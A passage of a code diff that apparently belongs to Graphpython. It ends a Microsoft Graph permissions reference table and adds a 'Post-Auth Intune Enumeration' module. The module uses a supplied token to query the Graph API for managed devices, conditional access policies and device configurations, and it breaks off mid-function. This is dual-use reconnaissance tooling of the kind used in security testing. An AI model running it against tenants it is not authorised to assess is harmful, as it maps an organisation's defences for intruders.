    DisplayTextRead and write Teams devicesRead and write Teams devices
    DescriptionAllow the app to read and write the management data for Teams devices, without a signed-in user.Allow the app to read and write the management data for Teams devices on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    TeamworkTag.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-57587d0b-8399-45be-b207-8050cec54575
    DisplayText-Read tags in Teams
    Description-Allows the app to read tags in Teams, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    TeamworkTag.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb74fd6c4-4bde-488e-9695-eeb100e4907f-
    DisplayTextRead tags in Teams-
    DescriptionAllows the app to read tags in Teams without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamworkTag.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-539dabd7-b5b6-4117-b164-d60cd15a8671
    DisplayText-Read and write tags in Teams
    Description-Allows the app to read and write tags in Teams, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    TeamworkTag.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiera3371ca5-911d-46d6-901c-42c8c7a937d8-
    DisplayTextRead and write tags in Teams-
    DescriptionAllows the app to read and write tags in Teams without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    TeamworkUserInteraction.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-b4d26916-07e0-4daf-9096-9f6d9174aa96
    DisplayText-Read all of the possible Teams interactions between the user and other users
    Description-Allows the app to read all of the possible Teams interactions between the signed-in user and other users
    AdminConsentRequired-Yes
    +
    +

    TermStore.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierea047cc2-df29-4f3e-83a3-205de61501ca297f747b-0005-475b-8fef-c890f5152b38
    DisplayTextRead all term store dataRead term store data
    DescriptionAllows the app to read all term store data, without a signed-in user. This includes all sets, groups and terms in the term store.Allows the app to read the term store data that the signed-in user has access to. This includes all sets, groups and terms in the term store.
    AdminConsentRequiredYesYes
    +
    +

    TermStore.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf12eb8d6-28e3-46e6-b2c0-b7e4dc69fc956c37c71d-f50f-4bff-8fd3-8a41da390140
    DisplayTextRead and write all term store dataRead and write term store data
    DescriptionAllows the app to read, edit or write all term store data, without a signed-in user. This includes all sets, groups and terms in the term store.Allows the app to read or modify data that the signed-in user has access to. This includes all sets, groups and terms in the term store.
    AdminConsentRequiredYesYes
    +
    +

    ThreatAssessment.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf8f035bb-2cce-47fb-8bf5-7baf3ecbee48-
    DisplayTextRead threat assessment requests-
    DescriptionAllows an app to read your organization's threat assessment requests, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    ThreatAssessment.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-cac97e40-6730-457d-ad8d-4852fddab7ad
    DisplayText-Read and write threat assessment requests
    Description-Allows an app to read your organization's threat assessment requests on behalf of the signed-in user. Also allows the app to create new requests to assess threats received by your organization on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    ThreatHunting.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdd98c7f5-2d42-42d3-a0e4-633161547251b152eca8-ea73-4a48-8c98-1a6742673d99
    DisplayTextRun hunting queriesRun hunting queries
    DescriptionAllows the app to run hunting queries, without a signed-in user.Allows the app to run hunting queries, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ThreatIndicators.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier197ee4e9-b993-4066-898f-d6aecc55125b9cc427b4-2004-41c5-aa22-757b755e9796
    DisplayTextRead all threat indicatorsRead all threat indicators
    DescriptionAllows the app to read all the indicators for your organization, without a signed-in user.Allows the app to read all the indicators for your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ThreatIndicators.ReadWrite.OwnedBy

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier21792b6c-c986-4ffc-85de-df9da54b52fa91e7d36d-022a-490f-a748-f8e011357b42
    DisplayTextManage threat indicators this app creates or ownsManage threat indicators this app creates or owns
    DescriptionAllows the app to create threat indicators, and fully manage those threat indicators (read, update and delete), without a signed-in user.  It cannot update any threat indicators it does not own.Allows the app to create threat indicators, and fully manage those threat indicators (read, update and delete), on behalf of the signed-in user.  It cannot update any threat indicators it does not own.
    AdminConsentRequiredYesYes
    +
    +

    ThreatIntelligence.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere0b77adb-e790-44a3-b0a0-257d06303687f266d9c0-ccb9-4fb8-a228-01ac0d8d6627
    DisplayTextRead all Threat Intelligence InformationRead all threat intelligence information
    DescriptionAllows the app to read threat intelligence information, such as indicators, observations, and and articles, without a signed in user.Allows the app to read threat intelligence information, such as indicators, observations, and articles, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ThreatSubmission.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-fd5353c6-26dd-449f-a565-c4e16b9fce78
    DisplayText-Read threat submissions
    Description-Allows the app to read the threat submissions and threat submission policies owned by the signed-in user.
    AdminConsentRequired-No
    +
    +

    ThreatSubmission.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier86632667-cd15-4845-ad89-48a88e8412e17083913a-4966-44b6-9886-c5822a5fd910
    DisplayTextRead all of the organization's threat submissionsRead all threat submissions
    DescriptionAllows the app to read your organization's threat submissions and to view threat submission policies without a signed-in user.Allows the app to read your organization's threat submissions and threat submission policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ThreatSubmission.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-68a3156e-46c9-443c-b85c-921397f082b5
    DisplayText-Read and write threat submissions
    Description-Allows the app to read the threat submissions and threat submission policies owned by the signed-in user. Also allows the app to create new threat submissions on behalf of the signed-in user.
    AdminConsentRequired-No
    +
    +

    ThreatSubmission.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd72bdbf4-a59b-405c-8b04-5995895819ac8458e264-4eb9-4922-abe9-768d58f13c7f
    DisplayTextRead and write all of the organization's threat submissionsRead and write all threat submissions
    DescriptionAllows the app to read your organization's threat submissions and threat submission policies without a signed-in user. Also allows the app to create new threat submissions without a signed-in user.Allows the app to read your organization's threat submissions and threat submission policies on behalf of the signed-in user. Also allows the app to create new threat submissions on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    ThreatSubmissionPolicy.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier926a6798-b100-4a20-a22f-a4918f13951d059e5840-5353-4c68-b1da-666a033fc5e8
    DisplayTextRead and write all of the organization's threat submission policiesRead and write all threat submission policies
    DescriptionAllows the app to read your organization's threat submission policies without a signed-in user. Also allows the app to create new threat submission policies without a signed-in user.Allows the app to read your organization's threat submission policies on behalf of the signed-in user. Also allows the app to create new threat submission policies on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Topic.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-79c4c76f-409a-4f98-884d-e2c09291ec26
    DisplayText-Read topic items
    Description-Allows the app to read topics data on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    TrustFrameworkKeySet.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierfff194f1-7dce-4428-8301-1badb55182017ad34336-f5b1-44ce-8682-31d7dfcd9ab9
    DisplayTextRead trust framework key setsRead trust framework key sets
    DescriptionAllows the app to read trust framework key set properties without a signed-in user.Allows the app to read trust framework key set properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    TrustFrameworkKeySet.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4a771c9a-1cf2-4609-b88e-3d3e02d539cd39244520-1e7d-4b4a-aee0-57c65826e427
    DisplayTextRead and write trust framework key setsRead and write trust framework key sets
    DescriptionAllows the app to read and write trust framework key set properties without a signed-in user.Allows the app to read and write trust framework key set properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    UnifiedGroupMember.Read.AsGuest

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-73e75199-7c3e-41bb-9357-167164dbb415
    DisplayText-Read unified group memberships as guest
    Description-Allows the app to read basic unified group properties, memberships and owners of the group the signed-in guest is a member of.
    AdminConsentRequired-Yes
    +
    +

    User.EnableDisableAccount.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier3011c876-62b7-4ada-afa2-506cbbecc68cf92e74e7-2563-467f-9dd0-902688cb5863
    DisplayTextEnable and disable user accountsEnable and disable user accounts
    DescriptionAllows the app to enable and disable users' accounts, without a signed-in user.Allows the app to enable and disable users' accounts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    User.Export.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier405a51b5-8d8d-430b-9842-8be4b0e9f324405a51b5-8d8d-430b-9842-8be4b0e9f324
    DisplayTextExport user's dataExport user's data
    DescriptionAllows the app to export data (e.g. customer content or system-generated logs), associated with any user in your company, when the app is used by a privileged user (e.g. a Company Administrator).Allows the app to export data (e.g. customer content or system-generated logs), associated with any user in your company, when the app is used by a privileged user (e.g. a Company Administrator).
    AdminConsentRequiredYesYes
    +
    +

    User.Invite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier09850681-111b-4a89-9bed-3f2cae46d70663dd7cd9-b489-4adf-a28c-ac38b9a0f962
    DisplayTextInvite guest users to the organizationInvite guest users to the organization
    DescriptionAllows the app to invite guest users to the organization, without a signed-in user.Allows the app to invite guest users to the organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    User.ManageIdentities.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc529cfca-c91b-489c-af2b-d92990b66ce6637d7bec-b31e-4deb-acc9-24275642a2c9
    DisplayTextManage all users' identitiesManage user identities
    DescriptionAllows the app to read, update and delete identities that are associated with a user's account, without a signed in user. This controls the identities users can sign-in with.Allows the app to read, update and delete identities that are associated with a user's account that the signed-in user has access to. This controls the identities users can sign-in with.
    AdminConsentRequiredYesYes
    +
    +

    User.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-e1fe6dd8-ba31-4d61-89e7-88639da4683d
    DisplayText-Sign in and read user profile
    Description-Allows users to sign-in to the app, and allows the app to read the profile of signed-in users. It also allows the app to read basic company information of signed-in users.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The User.Read delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    User.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdf021288-bdef-4463-88db-98f22de89214a154be20-db9c-4678-8ab7-66f6cc099a59
    DisplayTextRead all users' full profilesRead all users' full profiles
    DescriptionAllows the app to read user profiles without a signed in user.Allows the app to read the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The User.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    User.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier97235f07-e226-4f63-ace3-39588e11d3a1b340eb25-3456-403f-be2f-af7a0d370277
    DisplayTextRead all users' basic profilesRead all users' basic profiles
    DescriptionAllows the app to read a basic set of profile properties of other users in your organization without a signed-in user. Includes display name, first and last name, email address, open extensions, and photo.Allows the app to read a basic set of profile properties of other users in your organization on behalf of the signed-in user. This includes display name, first and last name, email address and photo.
    AdminConsentRequiredYesNo
    +

    personal Microsoft accounts The User.ReadBasic.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    User.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-b4e74841-8e56-480b-be8b-910348b18b4c
    DisplayText-Read and write access to user profile
    Description-Allows the app to read your profile. It also allows the app to update your profile information on your behalf.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The User.ReadWrite delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    User.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier741f803b-c850-494e-b5df-cde7c675a1ca204e0828-b5ca-4ad8-b9f3-f32a958e7cc4
    DisplayTextRead and write all users' full profilesRead and write all users' full profiles
    DescriptionAllows the app to read and update user profiles without a signed in user.Allows the app to read and write the full set of profile properties, reports, and managers of other users in your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The User.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    User.RevokeSessions.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier77f3a031-c388-4f99-b373-dc68676a979efc30e98b-8810-4501-81f5-c20a3196387b
    DisplayTextRevoke all sign in sessions for a userRevoke all sign in sessions for a user
    DescriptionAllow the app to revoke all sign in sessions for a user, without a signed-in user.Allow the app to revoke all sign in sessions for a user, on behalf of a signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    UserActivity.ReadWrite.CreatedByApp

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-47607519-5fb1-47d9-99c7-da4b48f369b1
    DisplayText-Read and write app activity to users' activity feed
    Description-Allows the app to read and report the signed-in user's activity in the app.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The UserActivity.ReadWrite.CreatedByApp delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    UserAuthenticationMethod.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-1f6b61c5-2f65-4135-9c9f-31c0f8d32b52
    DisplayText-Read user authentication methods.
    Description-Allows the app to read the signed-in user's authentication methods, including phone numbers and Authenticator app settings. This does not allow the app to see secret information like the signed-in user's passwords, or to sign-in or otherwise use the signed-in user's authentication methods.
    AdminConsentRequired-Yes
    +
    +

    UserAuthenticationMethod.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier38d9df27-64da-44fd-b7c5-a6fbac20248faec28ec7-4d02-4e8c-b864-50163aea77eb
    DisplayTextRead all users' authentication methodsRead all users' authentication methods
    DescriptionAllows the app to read authentication methods of all users in your organization, without a signed-in user. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods.Allows the app to read authentication methods of all users in your organization that the signed-in user has access to. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods.
    AdminConsentRequiredYesYes
    +
    +

    UserAuthenticationMethod.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-48971fc1-70d7-4245-af77-0beb29b53ee2
    DisplayText-Read and write user authentication methods
    Description-Allows the app to read and write the signed-in user's authentication methods, including phone numbers and Authenticator app settings. This does not allow the app to see secret information like the signed-in user's passwords, or to sign-in or otherwise use the signed-in user's authentication methods.
    AdminConsentRequired-Yes
    +
    +

    UserAuthenticationMethod.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier50483e42-d915-4231-9639-7fdb7fd190e5b7887744-6746-4312-813d-72daeaee7e2d
    DisplayTextRead and write all users' authentication methodsRead and write all users' authentication methods.
    DescriptionAllows the application to read and write authentication methods of all users in your organization, without a signed-in user. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methodsAllows the app to read and write authentication methods of all users in your organization that the signed-in user has access to. Authentication methods include things like a user's phone numbers and Authenticator app settings. This does not allow the app to see secret information like passwords, or to sign-in or otherwise use the authentication methods.
    AdminConsentRequiredYesYes
    +
    +

    User-ConvertToInternal.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9d952b72-f741-4b40-9185-8c53076c2339550e695c-7511-40f4-ac79-e8fb9c82552d
    DisplayTextConvert an external user to internal member userConvert an external user to internal member user
    DescriptionAllow the app to convert an external user to an internal member user, without a signed-in user.Allow the app to convert an external user to an internal member user, on behalf of signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    User-LifeCycleInfo.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8556a004-db57-4d7a-8b82-97a13428e96fed8d2a04-0374-41f1-aefe-da8ac87ccc87
    DisplayTextRead all users' lifecycle informationRead all users' lifecycle information
    DescriptionAllows the app to read the lifecycle information like employeeLeaveDateTime of users in your organization, without a signed-in user.Allows the app to read the lifecycle information like employeeLeaveDateTime of users in your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    User-LifeCycleInfo.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier925f1248-0f97-47b9-8ec8-538c54e013257ee7473e-bd4b-4c9f-987c-bd58481f5fa2
    DisplayTextRead and write all users' lifecycle informationRead and write all users' lifecycle information
    DescriptionAllows the app to read and write the lifecycle information like employeeLeaveDateTime of users in your organization, without a signed-in user.Allows the app to read and write the lifecycle information like employeeLeaveDateTime of users in your organization, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    UserNotification.ReadWrite.CreatedByApp

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4e774092-a092-48d1-90bd-baad67c7eb4726e2f3e8-b2a1-47fc-9620-89bb5b042024
    DisplayTextDeliver and manage all user's notificationsDeliver and manage user's notifications
    DescriptionAllows the app to send, read, update and delete user's notifications, without a signed-in user.Allows the app to send, read, update and delete user's notifications.
    AdminConsentRequiredYesNo
    +
    +

    UserShiftPreferences.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierde023814-96df-4f53-9376-1e2891ef5a18-
    DisplayTextRead all user shift preferences-
    DescriptionAllows the app to read all users' shift schedule preferences without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    UserShiftPreferences.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd1eec298-80f3-49b0-9efb-d90e224798ac-
    DisplayTextRead and write all user shift preferences-
    DescriptionAllows the app to manage all users' shift schedule preferences without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    UserTeamwork.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-834bcc1c-762f-41b0-bb91-1cdc323ee4bf
    DisplayText-Read user teamwork settings
    Description-Allows the app to read the teamwork settings of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    UserTeamwork.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierfbcd7ef1-df0d-4e05-bb28-93424a89c6df-
    DisplayTextRead all user teamwork settings-
    DescriptionAllows the app to read all user teamwork settings without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    UserTimelineActivity.Write.CreatedByApp

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-367492fc-594d-4972-a9b5-0d58c622c91c
    DisplayText-Write app activity to users' timeline
    Description-Allows the app to report the signed-in user's app activity information to Microsoft Timeline.
    AdminConsentRequired-No
    +
    +

    VirtualAppointment.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-27470298-d3b8-4b9c-aad4-6334312a3eac
    DisplayText-Read a user's virtual appointments
    Description-Allows an application to read virtual appointments for the signed-in user. Only an organizer or participant user can read their virtual appointments.  
    AdminConsentRequired-Yes
    +
    +

    VirtualAppointment.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd4f67ec2-59b5-4bdc-b4af-d78f6f9c1954-
    DisplayTextRead all virtual appointments for users, as authorized by online meetings application access policy-
    DescriptionAllows the application to read virtual appointments for all users, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy.-
    AdminConsentRequiredYes-
    +
    +

    VirtualAppointment.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2ccc2926-a528-4b17-b8bb-860eed29d64c
    DisplayText-Read and write a user's virtual appointments  
    Description-Allows an application to read and write virtual appointments for the signed-in user. Only an organizer or participant user can read and write their virtual appointments. 
    AdminConsentRequired-Yes
    +
    +

    VirtualAppointment.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierbf46a256-f47d-448f-ab78-f226fff08d40-
    DisplayTextRead-write all virtual appointments for users, as authorized by online meetings app access policy-
    DescriptionAllows the application to read and write virtual appointments for all users, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy.-
    AdminConsentRequiredYes-
    +
    +

    VirtualAppointmentNotification.Send

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier97e45b36-1250-48e4-bd70-2df6dab7e94a20d02fff-a0ef-49e7-a46e-019d4a6523b7
    DisplayTextSend notification regarding virtual appointments as any userSend notification regarding virtual appointments for the signed-in user
    DescriptionAllows the application to send notification regarding virtual appointments as any user, without a signed-in user. The app must also be authorized to access an individual user's data by the online meetings application access policy.Allows an application to send notifications for virtual appointments for the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    VirtualEvent.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-6b616635-ae58-433a-a918-8c45e4f304dc
    DisplayText-Read your virtual events
    Description-Allows the app to read virtual events created by you
    AdminConsentRequired-Yes
    +
    +

    VirtualEvent.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1dccb351-c4e4-4e09-a8d1-7a9ecbf027cc-
    DisplayTextRead all users' virtual events-
    DescriptionAllows the app to read all virtual events without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    VirtualEvent.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-d38d189c-e29b-4344-8b3b-829bfa81380b
    DisplayText-Read and write your virtual events
    Description-Allows the app to read and write virtual events for you
    AdminConsentRequired-Yes
    +
    +

    VirtualEventRegistration-Anon.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier23211fc1-f9d1-4e8e-8e9e-08a5d0a109bb-
    DisplayTextRead and write anonymous users' virtual event registrations-
    DescriptionAllows the app to read and write anonymous users' virtual event registrations, without a signed-in user-
    AdminConsentRequiredYes-
    +
    +

    WindowsUpdates.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7dd1be58-6e76-4401-bf8d-31d1e8180d5b11776c0c-6138-4db3-a668-ee621bea2555
    DisplayTextRead and write all Windows update deployment settingsRead and write all Windows update deployment settings
    DescriptionAllows the app to read and write all Windows update deployment settings for the organization without a signed-in user.Allows the app to read and write all Windows update deployment settings for the organization on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    WorkforceIntegration.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-f1ccd5a7-6383-466a-8db8-1a656f7d06fa
    DisplayText-Read workforce integrations
    Description-Allows the app to read workforce integrations, to synchronize data from Microsoft Teams Shifts, on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    WorkforceIntegration.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier202bf709-e8e6-478e-bcfd-5d63c50b68e308c4b377-0d23-4a8b-be2a-23c1c1d88545
    DisplayTextRead and write workforce integrationsRead and write workforce integrations
    DescriptionAllows the app to manage workforce integrations to synchronize data from Microsoft Teams Shifts, without a signed-in user.Allows the app to manage workforce integrations, to synchronize data from Microsoft Teams Shifts, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    \ No newline at end of file diff --git a/Graphpython/commands/intune_enum.py b/Graphpython/commands/intune_enum.py new file mode 100644 index 0000000..9ed9f02 --- /dev/null +++ b/Graphpython/commands/intune_enum.py @@ -0,0 +1,380 @@ +import requests +import json +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import graph_api_get + +################################ +# Post-Auth Intune Enumeration # +################################ + +# get-manageddevices +def get_manageddevices(args): + print_yellow("[*] Get-ManagedDevices") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-userdevices +def get_userdevices(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-UserDevices command") + return + + print_yellow("[*] Get-UserDevices") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/deviceManagement/managedDevices?$filter=userPrincipalName eq '{args.id}'" + + if args.select: + api_url += "&$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-caps +def get_caps(args): + print_yellow("[*] Get-CAPs") + print("=" * 80) + api_url = "https://graph.microsoft.com//beta/identity/conditionalAccess/policies" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecategories +def get_devicecategories(args): + print_yellow("[*] Get-DeviceCategories") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCategories" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicecompliancesummary +def get_devicecompliancesummary(args): + print_yellow("[*] Get-DeviceComplianceSummary") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceCompliancePolicyDeviceStateSummary" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.ok: + response_body = response.json() + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-deviceconfigurations +def get_deviceconfigurations(args): + print_yellow("[*] Get-DeviceConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-deviceconfigurationpolicysettings +def get_deviceconfigurationpolicysettings(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-DeviceConfigurationPolicySettings command") + return + + print_yellow("[*] Get-DeviceConfigurationPolicySettings") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings?expand=settingDefinitions" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + + if response.ok: + response_body = response.json() + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") # redo this + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-deviceenrollmentconfigurations +def get_deviceenrollmentconfigurations(args): + print_yellow("[*] Get-DeviceEnrollmentConfigurations") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/deviceManagement/deviceEnrollmentConfigurations" + if args.select: + api_url += "?$select=" + args.select + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-devicegrouppolicyconfigurations +def 